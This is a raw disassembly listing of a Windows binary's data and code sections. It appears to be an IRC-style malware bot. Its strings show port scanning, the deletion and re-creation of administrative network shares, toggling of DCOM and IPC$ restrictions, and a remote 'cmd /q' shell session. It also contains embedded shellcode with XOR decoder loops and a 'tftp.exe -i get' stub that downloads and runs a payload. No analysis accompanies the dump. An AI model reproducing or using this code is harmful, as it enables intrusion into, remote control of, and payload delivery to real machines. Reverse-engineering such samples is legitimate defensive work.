		dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_438BAC	dd 1			; DATA XREF: sub_415CFF+7o
off_438BB0	dd offset sub_415994	; DATA XREF: sub_415CFF+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 4159F2h, 706D6F63h, 2 dup(0)
		dd 3, 415A3Fh, 6E756F63h, 797274h, 0
		dd 4, 415ADDh, 736Fh, 2	dup(0)
		dd 5, 415B52h
dword_438C04	dd 69257325h, 0		; DATA XREF: sub_415994+40o
					; ___:00415ABEo ...
byte_438C0C	db 50h			; DATA XREF: ___:00415A61o
					; ___:00415A6Er
		db 43h,	2 dup(0)
dword_438C10	dd 7C7325h		; DATA XREF: ___:00415B0Co
					; sub_415CFF+39o
dword_438C14	dd 5D73255Bh, 7Ch	; DATA XREF: ___:00415C16o
dword_438C1C	dd 334B32h		; DATA XREF: ___:00415C06o
dword_438C20	dd 5D64255Bh, 7325h	; DATA XREF: sub_415C5C+3Ao
dword_438C28	dd 5D4D5Bh		; DATA XREF: sub_415C5C+2Co
					; sub_415C5C+57o
unk_438C2C	db    2			; DATA XREF: sub_415D68+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
		db    2
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_438CA0	dd offset dword_438CD8	; DATA XREF: sub_415F86+1B3o
					; sub_4162AA+17Ao
		align 8
		dd offset dword_438CD0
		align 10h
off_438CB0	dd offset dword_438CCC	; DATA XREF: sub_4162AA+1E3o
		dd offset dword_438CC8
		dd offset dword_438CC4
		dd offset dword_438CC0
dword_438CC0	dd 5C3A44h		; DATA XREF: sub_415F86+217o
					; ___:00438CBCo
dword_438CC4	dd 2444h		; DATA XREF: ___:00438CB8o
dword_438CC8	dd 5C3A43h		; DATA XREF: ___:00438CB4o
dword_438CCC	dd 2443h		; DATA XREF: ___:off_438CB0o
dword_438CD0	dd 494D4441h, 244Eh	; DATA XREF: ___:00438CA8o
dword_438CD8	dd 24435049h, 0		; DATA XREF: ___:off_438CA0o
unk_438CE0	db    2			; DATA XREF: sub_415F86+2E5o
					; sub_4162AA+2DBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_438D20	db    2			; DATA XREF: sub_415F86+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_438D58	db    2			; DATA XREF: sub_415F86:loc_4161E8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_438D94	db    2			; DATA XREF: sub_415F86+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_438DC8	db    2			; DATA XREF: sub_415F86:loc_416155o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_438E04	db    2			; DATA XREF: sub_415F86+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_438E38	db    2			; DATA XREF: sub_415F86:loc_4160B8o
					; sub_4162AA:loc_4163D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_438E78	db    2			; DATA XREF: sub_415F86:loc_4160B1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_438EC4	db    2			; DATA XREF: sub_415F86:loc_416093o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_438F08	db    2			; DATA XREF: sub_415F86+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_415F86+EDo
					; sub_4162AA+EDo
		align 4
unk_438F68	db    2			; DATA XREF: sub_415F86+91o
					; sub_4162AA+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_438FA8	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_415F86:loc_415FF3o
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_438FD4	db    2			; DATA XREF: sub_415F86+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_415F86+54o
					; sub_4162AA+54o
		align 4
word_439014	dw 4Eh			; DATA XREF: sub_415F86+38r
		align 4
unk_439018	db    2			; DATA XREF: sub_4162AA+2C3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_1		db '%c:\',0             ; DATA XREF: sub_4162AA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_4162AA+219o
unk_439058	db    2			; DATA XREF: sub_4162AA:loc_416449o
					; sub_4162AA:loc_41651Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 10h
unk_439090	db    2			; DATA XREF: sub_4162AA+198o
					; sub_4162AA+269o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_4390C0	db    2			; DATA XREF: sub_4162AA:loc_4163D1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_43910C	db    2			; DATA XREF: sub_4162AA:loc_4163B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_439150	db    2			; DATA XREF: sub_4162AA+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43919C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_4162AA:loc_416317o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_4391C8	db    2			; DATA XREF: sub_4162AA+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_4391FC	dw 59h			; DATA XREF: sub_4162AA+38r
		align 10h
dword_439200	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C4+DEo
		dd 2029671Fh, 2BBBB02h
aWaitformultipl	db '  WaitForMultipleObjects error: <%d>.',0
		align 4
dword_439244	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C4+59o
					; sub_4165C4+8Bo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_0	db '  Failed to create ReadShell session thread, error: <%d>.',0
		align 4
dword_43929C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416715+AFo
		dd 2029671Fh, 2BBBB02h
aFailedToExecut	db '  Failed to execute shell.',0
		align 4
dword_4392D4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416715+7Eo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_1	db '  Failed to create shell stdin pipe, error: <%d>.',0
		align 4
dword_439324	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416715+5Co
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_2	db '  Failed to create shell stdout pipe, error: <%d>.',0
		align 4
dword_439374	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41680E+C3o
		dd 2029671Fh, 2BBBB02h
aFailedToExec_0	db '  Failed to execute shell, error: <%d>.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_41680E+8Co
		align 10h
dword_4393C0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4168E7+A1o
		dd 2029671Fh, 2BBBB02h
aSessionreadshe	db '  SessionReadShellThread exited, error: <%ld>.',0
		align 4


loc_43940C:				; DATA XREF: sub_416C53+C4o
		jmp	short loc_439410
; ---------------------------------------------------------------------------


loc_43940E:				; CODE XREF: ___:loc_439410p
		jmp	short loc_439415
; ---------------------------------------------------------------------------


loc_439410:				; CODE XREF: ___:loc_43940Cj
		call	loc_43940E


loc_439415:				; CODE XREF: ___:loc_43940Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_43941A	dw 0FFFFh		; DATA XREF: sub_416C53+CCw
		db 80h,	73h, 0Eh
byte_43941F	db 0FFh			; DATA XREF: sub_416C53+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_439424:				; DATA XREF: sub_416C53+A2o
		jmp	short loc_439428
; ---------------------------------------------------------------------------


loc_439426:				; CODE XREF: ___:loc_439428p
		jmp	short loc_43942D
; ---------------------------------------------------------------------------


loc_439428:				; CODE XREF: ___:loc_439424j
		call	loc_439426


loc_43942D:				; CODE XREF: ___:loc_439426j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_439431	db 0FFh			; DATA XREF: sub_416C53+AAw
		dw 7380h
		db 0Ch
byte_439435	db 0FFh			; DATA XREF: sub_416C53+B0w
		dw 0E243h
		dd 0F9h
dword_43943C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416ADC+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4394A0	dd 12h			; DATA XREF: sub_416ADC+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416ADC+79o
aJ		db 'j',0
		db 0E8h
dword_4394B9	dd 17h			; DATA XREF: sub_416ADC+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_4394C0
		retn
; ---------------------------------------------------------------------------
byte_4394C0	db 0E8h			; CODE XREF: ___:004394BDj
dword_4394C1	dd 1			; DATA XREF: sub_416ADC+45w
byte_4394C5	db 0, 6Ah, 0		; DATA XREF: sub_416ADC+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_4394CF	dd 0FFFFFFEDh		; DATA XREF: sub_416ADC+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_416FE8+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FE8+35o
dword_439550	dd 29E2C0h		; DATA XREF: sub_417300+4w sub_41730Ar ...
		align 10h
dword_439560	dd 173Fh		; DATA XREF: sub_417CA4+Dr
		dd 9875h, 9873h
off_43956C	dd offset sub_417D73	; DATA XREF: ___:00419AB8r
		dd offset nullsub_2
		dd offset nullsub_2
dword_439578	dd 1B3Fh		; DATA XREF: sub_417DEB+Dr
dword_43957C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41826D+2o
					; sub_418276+2o
off_439590	dd offset sub_419AF6	; DATA XREF: sub_419CDA+1Cr
dword_439594	dd 2			; DATA XREF: sub_41F84C+Er
					; sub_41F885+46r ...
off_439598	dd offset aNull_0	; DATA XREF: sub_419E38:loc_41A19Cr
					; sub_419E38+457r
					; "(null)"
off_43959C	dd offset aNull		; DATA XREF: sub_419E38+259r
					; "(null)"
off_4395A0	dd offset word_4395AA	; DATA XREF: sub_417794+23r
					; sub_417794:loc_4177F5r ...
off_4395A4	dd offset word_4395AA	; DATA XREF: sub_422EB1+18r
		db 2 dup(0)
word_4395AA	dw 20h			; DATA XREF: sub_42102E+18r
					; ___:off_4395A0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4397AC	dd 1			; DATA XREF: sub_417794:loc_41779Cr
					; sub_417794:loc_4177E0r ...
byte_4397B0	db 2Eh			; DATA XREF: sub_41C86F:loc_41C8AFr
					; sub_41C8C9+4r ...
		align 4
		dd 1, 10h, 0
off_4397C0	dd offset off_4397C0	; DATA XREF: sub_41B888+Do
					; sub_41B888+69o ...
off_4397C4	dd offset off_4397C0	; DATA XREF: sub_41B888:loc_41B908r
					; sub_41B888+89w ...
		dd offset dword_4397D8
		dd offset dword_4397D8
dword_4397D0	dd 0FFFFFFFFh		; DATA XREF: sub_41B888r
					; sub_41B9CC:loc_41BA19w
		dd 0FFFFFFFFh
dword_4397D8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:004397C8o
					; ___:004397CCo
off_43B7E0	dd offset off_4397C0	; DATA XREF: sub_41B9CC+15r
					; sub_41B9CC+20w ...
dword_43B7E4	dd 1E0h			; DATA XREF: sub_417BC7:loc_417C03r
					; sub_41944F+185r ...
dword_43B7E8	dd 14h			; DATA XREF: sub_41C5B8+2o
off_43B7EC	dd offset aExp		; DATA XREF: sub_41C5B8:loc_41C5D5r
					; "exp"
		dd 1Dh,	42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h
		dd 13h,	4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h
		dd 0Fh,	4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh,	4247BCh
		dd 12h,	4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h
		dd 15h,	42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h
		dd 18h,	42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h
		dd 23h,	424764h, 24h, 424760h
dbl_43B8C0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+B7r
					; sub_41C2F3:loc_41C3DAr ...
		dd 0
		dd 0FFF80000h
dbl_43B8D0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+92r
					; sub_41C2F3:loc_41C3B2r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43B8E8	dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr
					; sub_41C7A0+1Fr
		align 4
tbyte_43B8F4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r
		align 10h
off_43B900	dd offset sub_41CC34	; DATA XREF: sub_417D8B+Fw
					; sub_419E38+3AAr
off_43B904	dd offset sub_41C8C9	; DATA XREF: sub_417D8B+5w
					; sub_419E38+3E2r
off_43B908	dd offset sub_41C92F	; DATA XREF: sub_417D8B+14w
					; sub_41D797+430r
off_43B90C	dd offset sub_41C86F	; DATA XREF: sub_417D8B+1Ew
					; sub_419E38+3CBr
off_43B910	dd offset sub_41C917	; DATA XREF: sub_417D8B+28w
off_43B914	dd offset sub_41CC34	; DATA XREF: sub_417D8B+32w
		dd offset sub_42086E
		align 10h
		dd offset sub_41D4FC
off_43B924	dd offset sub_41D4FC	; DATA XREF: sub_41D552+29r
dword_43B928	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41D797:loc_41DCFEo
dword_43B930	dd 5Dh,	0		; DATA XREF: sub_41D797:loc_41DBEEo
byte_43B938	db 1			; DATA XREF: sub_41E92D+E1r
		db 2, 4, 8
		align 10h
dword_43B940	dd 3A4h			; DATA XREF: sub_41E92D+2Fo
dword_43B944	dd 82798260h, 21h, 0	; DATA XREF: sub_41E92D+11Dr
dword_43B950	dd 0DFA6h		; DATA XREF: sub_41E92D+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43BA30	dd 1			; DATA XREF: sub_41E92D+3Co
					; sub_41EF44+Co
dword_43BA34	dd 16h			; DATA XREF: sub_41EF44:loc_41EF79r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43BB98	dd 0C0000005h		; DATA XREF: sub_41EF44+19o
					; sub_41F0EC+Ar ...
dword_43BB9C	dd 0Bh			; DATA XREF: sub_421D69+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43BC10	dd 3			; DATA XREF: ___:0041F003r
					; sub_421C3C+C8r
dword_43BC14	dd 7			; DATA XREF: ___:0041F009r
					; sub_421C3C+CDr
dword_43BC18	dd 0Ah			; DATA XREF: sub_41F0EC+4r
					; sub_421D69+4r
dword_43BC1C	dd 8Ch			; DATA XREF: ___:0041F02Dr
					; ___:0041F03Aw ...
dword_43BC20	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_419D23:loc_419DE0o
					; sub_41E248:loc_41E2C9o
dword_43BC28	dd 2			; DATA XREF: sub_41F885+Eo
					; sub_41F885+28r
off_43BC2C	dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr
					; sub_41F885+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 424B2Ch, 9, 424B00h, 0Ah,	424ADCh, 10h, 424AB0h
		dd 11h,	424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h
		dd 19h,	4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h
		dd 78h,	424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h
		dd 0FFh, 4248F8h
off_43BCB8	dd offset dword_48A320	; DATA XREF: sub_41F885+1Bo
					; sub_41FA42+55o
		align 10h
		dd offset dword_48A320
		dd 101h
dword_43BCC8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41FA42+72o
		dd 1000h, 0
dword_43BCD8	dd 3 dup(0)		; DATA XREF: sub_419D23+50o
					; sub_41A8A2+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43BCF8	dd 3 dup(0)		; DATA XREF: sub_419D23+58o
					; sub_41A8A2:loc_41A8C0o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43BD28	dd 84h dup(0)		; DATA XREF: sub_41FA42+9Bo
dword_43BF38	dd 2694h		; DATA XREF: sub_41BF55+3r
					; sub_41BFA8+46r ...
		align 10h
dword_43BF40	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42064Eo
dword_43BF58	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o
dword_43BF70	dd 7080h		; DATA XREF: sub_41D609+76r
					; sub_42094E+5Ew ...
dword_43BF74	dd 1			; DATA XREF: sub_41D609+98r
					; sub_42094E+8Bw ...
dword_43BF78	dd 0FFFFF1F0h		; DATA XREF: sub_41D609:loc_41D6BBr
					; sub_42094E+94w ...
off_43BF7C	dd offset dword_545350	; DATA XREF: ___:off_43BFFCo
		dd 0Fh dup(0)
off_43BFBC	dd offset dword_544450	; DATA XREF: ___:off_43C000o
		dd 0Fh dup(0)
off_43BFFC	dd offset off_43BF7C	; DATA XREF: sub_42094E+BAr
					; sub_42094E+D9r ...
off_43C000	dd offset off_43BFBC	; DATA XREF: sub_42094E+F4r
					; sub_42094E+11Br ...
		align 8
dword_43C008	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+1Dw
					; sub_420BAC+1Er ...
dword_43C00C	dd 0			; DATA XREF: sub_420BAC:loc_420CE0r
					; sub_420D58+BFw
dword_43C010	dd 0			; DATA XREF: sub_420BAC+192r
					; sub_420D58+E0w
		align 8
dword_43C018	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+17w
					; sub_420BAC+26r ...
dword_43C01C	dd 0			; DATA XREF: sub_420BAC+13Ar
					; sub_420D58+EAw ...
dword_43C020	dd 0			; DATA XREF: sub_420BAC+1A1r
					; sub_420D58+23r ...
dword_43C024	dd 0FFFFFFFFh		; DATA XREF: sub_420D58+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43C054	dd 16Dh			; DATA XREF: sub_41D609+2Ar
					; sub_420D58+2Er ...
dword_43C058	dd 0FFFFFFFFh		; DATA XREF: sub_420D58:loc_420DE4r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43C090	dd 2 dup(0)		; DATA XREF: sub_4220C1+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
